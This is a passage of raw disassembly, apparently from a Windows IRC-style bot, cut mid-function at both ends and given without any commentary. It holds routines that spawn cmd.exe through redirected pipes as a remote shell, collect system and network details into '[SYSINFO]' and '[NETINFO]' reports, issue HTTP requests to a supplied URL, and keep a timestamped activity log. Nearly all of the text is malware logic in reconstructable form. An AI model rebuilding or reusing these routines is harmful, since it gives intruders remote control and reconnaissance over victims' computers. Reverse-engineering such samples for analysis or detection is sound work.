		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe	; "cmd.exe"
		push	esi
		call	dword_43A454	; SearchPathA
		test	eax, eax
		jz	loc_40A8F7
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_421108
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_40A8F7
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_40A8F7
		mov	edi, dword_421104
		push	3
		push	esi
		push	esi
		push	offset dword_43A6E8
		call	edi	; GetCurrentProcess
		push	eax
		push	[ebp+var_8]
		call	edi	; GetCurrentProcess
		push	eax
		call	dword_421100	; DuplicateHandle
		test	eax, eax
		jz	short loc_40A8F7
		push	10h

loc_40A89A:				; DATA XREF: seg000:00424ED4o
					; seg000:00424F18o ...
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_415570
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_415570
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_438FBC
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	dword_4210EC	; CreateProcessA
		test	eax, eax
		jnz	short loc_40A8FF

loc_40A8F7:				; CODE XREF: sub_40A7FD+2Fj
					; sub_40A7FD+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_40A9AD
; ---------------------------------------------------------------------------

loc_40A8FF:				; CODE XREF: sub_40A7FD+F8j
		push	[ebp+var_4]
		mov	edi, dword_42106C
		call	edi	; CloseHandle
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_43A6E4, eax
		mov	eax, [ebp+var_8]
		mov	dword_43A6EC, eax
		mov	eax, [ebp+var_2C]
		mov	dword_43A6E0, eax
		call	edi	; CloseHandle
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_43A724, eax
		jz	short loc_40A939
		push	[ebp+arg_4]
		jmp	short loc_40A93A
; ---------------------------------------------------------------------------

loc_40A939:				; CODE XREF: sub_40A7FD+135j
		push	ebx

loc_40A93A:				; CODE XREF: sub_40A7FD+13Aj
		push	offset dword_43A6F0
		call	sub_4154E7
		pop	ecx
		pop	ecx
		push	esi
		push	7
		push	offset dword_42B680
		call	sub_414F93
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43F530[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_40A6A8
		push	esi
		push	esi
		call	dword_42108C	; CreateThread
		cmp	eax, esi
		mov	dword_43F53C[edi], eax
		jnz	short loc_40A9AB
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_378]
		push	offset dword_42B638
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_40B16D
		add	esp, 10h

loc_40A9AB:				; CODE XREF: sub_40A7FD+185j
		xor	eax, eax

loc_40A9AD:				; CODE XREF: sub_40A7FD+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A7FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A9B2	proc near		; CODE XREF: sub_407135+74p
					; sub_40AAD1+217p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	dword_42104C	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_43A72C
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_415A6A
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40A9B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AA1B	proc near		; CODE XREF: sub_40AAD1+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h

loc_40AA23:				; CODE XREF: sub_40AA1B+2Fj
					; sub_40AA1B+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		call	dword_421060	; Sleep
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_4172E0
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_40AA23
		jb	short loc_40AA52
		cmp	ebx, esi
		ja	short loc_40AA23

loc_40AA52:				; CODE XREF: sub_40AA1B+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_417260
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_40AAC5
		jb	short loc_40AA71
		cmp	esi, 50h
		jnb	short loc_40AA76

loc_40AA71:				; CODE XREF: sub_40AA1B+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax

loc_40AA76:				; CODE XREF: sub_40AA1B+54j
		test	ecx, ecx
		ja	short loc_40AAC5
		jb	short loc_40AA81
		cmp	esi, 47h
		jnb	short loc_40AA86

loc_40AA81:				; CODE XREF: sub_40AA1B+5Fj
		push	42h
		xor	edx, edx
		pop	eax

loc_40AA86:				; CODE XREF: sub_40AA1B+64j
		test	ecx, ecx
		ja	short loc_40AAC5
		jb	short loc_40AA91
		cmp	esi, 37h
		jnb	short loc_40AA96

loc_40AA91:				; CODE XREF: sub_40AA1B+6Fj
		push	32h
		xor	edx, edx
		pop	eax

loc_40AA96:				; CODE XREF: sub_40AA1B+74j
		test	ecx, ecx
		ja	short loc_40AAC5
		jb	short loc_40AAA1
		cmp	esi, 26h
		jnb	short loc_40AAA6

loc_40AAA1:				; CODE XREF: sub_40AA1B+7Fj
		push	21h
		xor	edx, edx
		pop	eax

loc_40AAA6:				; CODE XREF: sub_40AA1B+84j
		test	ecx, ecx
		ja	short loc_40AAC5
		jb	short loc_40AAB1
		cmp	esi, 1Eh
		jnb	short loc_40AAB6

loc_40AAB1:				; CODE XREF: sub_40AA1B+8Fj
		push	19h
		xor	edx, edx
		pop	eax

loc_40AAB6:				; CODE XREF: sub_40AA1B+94j
		test	ecx, ecx
		ja	short loc_40AAC5
		jb	short loc_40AAC1
		cmp	esi, 0Ah
		jnb	short loc_40AAC5

loc_40AAC1:				; CODE XREF: sub_40AA1B+9Fj
		xor	eax, eax
		xor	edx, edx

loc_40AAC5:				; CODE XREF: sub_40AA1B+4Dj
					; sub_40AA1B+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40AA1B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AAD1	proc near		; CODE XREF: sub_40CE55+541Fp

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_438FBC
		mov	[ebp+var_CC], 94h
		call	dword_42110C	; GetVersionExA
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_40AB58
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40AB34
		cmp	[ebp+var_BC], 1
		jnz	short loc_40AB1E
		mov	[ebp+var_4], offset a95	; "95"

loc_40AB1E:				; CODE XREF: sub_40AAD1+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_40ABD3
		mov	[ebp+var_4], offset aNt	; "NT"
		jmp	short loc_40ABA4
; ---------------------------------------------------------------------------

loc_40AB34:				; CODE XREF: sub_40AAD1+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_40AB46
		mov	[ebp+var_4], offset a98	; "98"
		jmp	short loc_40AB9B
; ---------------------------------------------------------------------------

loc_40AB46:				; CODE XREF: sub_40AAD1+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_40AB94
		mov	[ebp+var_4], offset aMe	; "ME"
		jmp	short loc_40AB9B
; ---------------------------------------------------------------------------

loc_40AB58:				; CODE XREF: sub_40AAD1+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_40AB94
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40AB72
		mov	[ebp+var_4], offset a2k	; "2K"
		jmp	short loc_40AB9B
; ---------------------------------------------------------------------------

loc_40AB72:				; CODE XREF: sub_40AAD1+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_40AB84
		mov	[ebp+var_4], offset aXp	; "XP"
		jmp	short loc_40AB9B
; ---------------------------------------------------------------------------

loc_40AB84:				; CODE XREF: sub_40AAD1+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_40AB9B

loc_40AB94:				; CODE XREF: sub_40AAD1+7Cj
					; sub_40AAD1+8Ej
		mov	[ebp+var_4], offset dword_42B7D0

loc_40AB9B:				; CODE XREF: sub_40AAD1+73j
					; sub_40AAD1+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_40ABD3

loc_40ABA4:				; CODE XREF: sub_40AAD1+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_40ABD3
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset dword_42B7C8
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax

loc_40ABD3:				; CODE XREF: sub_40AAD1+54j
					; sub_40AAD1+D1j ...
		mov	ax, word_42B7C4
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_43A284
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_40AC0C
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax	; GetUserNameA

loc_40AC0C:				; CODE XREF: sub_40AAD1+12Cj
		push	[ebp+arg_4]
		call	sub_40A171
		pop	ecx
		push	eax
		call	dword_43A3D8	; inet_addr
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_43A350	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_40AC35
		push	dword ptr [eax]
		jmp	short loc_40AC3A
; ---------------------------------------------------------------------------

loc_40AC35:				; CODE XREF: sub_40AAD1+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"

loc_40AC3A:				; CODE XREF: sub_40AAD1+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_4154E7
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	dword_421058	; GetSystemDirectoryA
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	dword_421084	; GetDateFormatA
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	dword_421080	; GetTimeFormatA
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		call	dword_421110	; GlobalMemoryStatus
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_417348
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_40C328
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_40A9B2
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40A171
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40C218
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40C218
		pop	ecx
		pop	ecx
		push	eax
		call	sub_40AA1B
		push	edx
		push	eax
		push	offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
		push	200h
		push	[ebp+arg_0]
		call	sub_415A6A
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40AAD1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AD85	proc near		; CODE XREF: sub_40CE55+4422p
					; sub_40CE55+544Dp

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_415570
		add	esp, 0Ch
		cmp	dword_43A480, 0
		jnz	short loc_40ADF9
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_43A268	; InternetGetConnectedStateEx
		test	eax, eax
		jnz	short loc_40ADDA
		lea	eax, [ebp+var_8C]
		push	offset dword_42B844
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx

loc_40ADDA:				; CODE XREF: sub_40AD85+40j
		test	[ebp+var_C], 1
		jz	short loc_40ADF2
		push	offset dword_42B83C

loc_40ADE5:				; CODE XREF: sub_40AD85+72j
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx
		jmp	short loc_40AE18
; ---------------------------------------------------------------------------

loc_40ADF2:				; CODE XREF: sub_40AD85+59j
		push	offset dword_42B838
		jmp	short loc_40ADE5
; ---------------------------------------------------------------------------

loc_40ADF9:				; CODE XREF: sub_40AD85+28j
		mov	esi, offset off_42B834
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		call	sub_4154E7
		add	esp, 10h

loc_40AE18:				; CODE XREF: sub_40AD85+6Bj
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40A171
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s	(%s). [IP Address"...
		push	200h
		push	[ebp+arg_0]
		call	sub_415A6A
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_40AD85	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE4B	proc near		; DATA XREF: sub_40CE55+45F7o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_42B988
		call	sub_415570
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_415570
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_415570
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_415570
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_43A2A0	; InternetCrackUrlA
		test	eax, eax
		jz	loc_40AFE5
		cmp	[ebp+var_34], ebx
		jbe	short loc_40AF22
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_416D40
		add	esp, 0Ch

loc_40AF22:				; CODE XREF: sub_40AE4B+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_40AF40
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_416D40
		add	esp, 0Ch

loc_40AF40:				; CODE XREF: sub_40AE4B+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_40AF5A
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_416D40
		add	esp, 0Ch

loc_40AF5A:				; CODE XREF: sub_40AE4B+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_40AF74
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_416D40
		add	esp, 0Ch

loc_40AF74:				; CODE XREF: sub_40AE4B+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_43A348
		call	dword_43A36C	; InternetConnectA
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_40AFFD
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_43A360	; HttpOpenRequestA
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_40B004
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_43A314	; HttpSendRequestA
		test	eax, eax
		jz	short loc_40AFDE
		push	offset dword_42B958
		jmp	short loc_40B009
; ---------------------------------------------------------------------------

loc_40AFDE:				; CODE XREF: sub_40AE4B+18Aj
		push	offset unk_42B908
		jmp	short loc_40B009
; ---------------------------------------------------------------------------

loc_40AFE5:				; CODE XREF: sub_40AE4B+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_42B8D8
		push	eax
		call	sub_4154E7
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_40B017
; ---------------------------------------------------------------------------

loc_40AFFD:				; CODE XREF: sub_40AE4B+153j
		push	offset unk_42B898
		jmp	short loc_40B009
; ---------------------------------------------------------------------------

loc_40B004:				; CODE XREF: sub_40AE4B+17Bj
		push	offset unk_42B854

loc_40B009:				; CODE XREF: sub_40AE4B+191j
					; sub_40AE4B+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx

loc_40B017:				; CODE XREF: sub_40AE4B+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_40B042
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_412D4C
		add	esp, 14h

loc_40B042:				; CODE XREF: sub_40AE4B+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_40B16D
		pop	ecx
		push	esi
		call	dword_43A3CC	; InternetCloseHandle
		push	[ebp+var_4]
		call	dword_43A3CC	; InternetCloseHandle
		push	[ebp+var_1D8]
		call	sub_4152AF
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_40AE4B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B075	proc near		; CODE XREF: sub_40CE55+4355p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43E7A8
		mov	edi, 0B8h

loc_40B089:				; CODE XREF: sub_40B075+33j
		cmp	byte ptr [esi],	0
		jz	short loc_40B0AC
		push	[ebp+arg_0]
		push	esi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B0AC
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43F328
		jl	short loc_40B089
		jmp	short loc_40B0EE
; ---------------------------------------------------------------------------

loc_40B0AC:				; CODE XREF: sub_40B075+17j
					; sub_40B075+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43E7A8[esi]
		push	ebx
		call	sub_415570
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_416D40
		push	9Fh
		lea	eax, dword_43E7C0[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_416D40
		add	esp, 24h
		inc	dword_42E7A4
		pop	ebx

loc_40B0EE:				; CODE XREF: sub_40B075+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_40B075	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B0F5	proc near		; CODE XREF: sub_40CE55+5588p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_42B998
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43E7A8

loc_40B11F:				; CODE XREF: sub_40B0F5+72j
		cmp	byte ptr [esi],	0
		jz	short loc_40B15A
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_42B98C
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_415A6A
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 2Ch

loc_40B15A:				; CODE XREF: sub_40B0F5+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43F328
		jl	short loc_40B11F
		pop	edi
		pop	esi
		leave
		retn
sub_40B0F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B16D	proc near		; CODE XREF: sub_401000+97p
					; sub_4010B2+314p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	dword_42105C	; GetLocalTime
		mov	ebx, offset dword_43E764
		mov	edi, 80h
		mov	esi, offset dword_43A764

loc_40B18F:				; CODE XREF: sub_40B16D+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_40B1A6
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_416D40
		add	esp, 0Ch

loc_40B1A6:				; CODE XREF: sub_40B16D+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_40B18F
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_415A6A
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B16D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B1E1	proc near		; CODE XREF: sub_407BFE+15Bp
					; sub_407D86+1AFp ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41748F
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_40B16D
		add	esp, 14h
		leave
		retn
sub_40B1E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B20D	proc near		; CODE XREF: sub_40CE55+5482p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_43A764
		xor	ecx, ecx

loc_40B214:				; CODE XREF: sub_40B20D+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_43E764
		jl	short loc_40B214
		cmp	[esp+arg_C], ecx
		push	esi
		mov	esi, offset dword_42B9CC
		jnz	short loc_40B244
		push	ecx
		push	[esp+8+arg_8]
		push	esi
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		call	sub_412D4C
		add	esp, 14h

loc_40B244:				; CODE XREF: sub_40B20D+1Fj
		push	esi
		call	sub_40B16D
		pop	ecx
		pop	esi
		retn
sub_40B20D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B24D	proc near		; CODE XREF: sub_4033CB+298p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_43A764

loc_40B253:				; CODE XREF: sub_40B24D+27j
		cmp	byte ptr [esi],	0
		jz	short loc_40B268
		push	[esp+4+arg_0]
		push	esi
		call	sub_409B42
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B27A

loc_40B268:				; CODE XREF: sub_40B24D+9j
		add	esi, 80h
		cmp	esi, offset dword_43E764
		jl	short loc_40B253
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

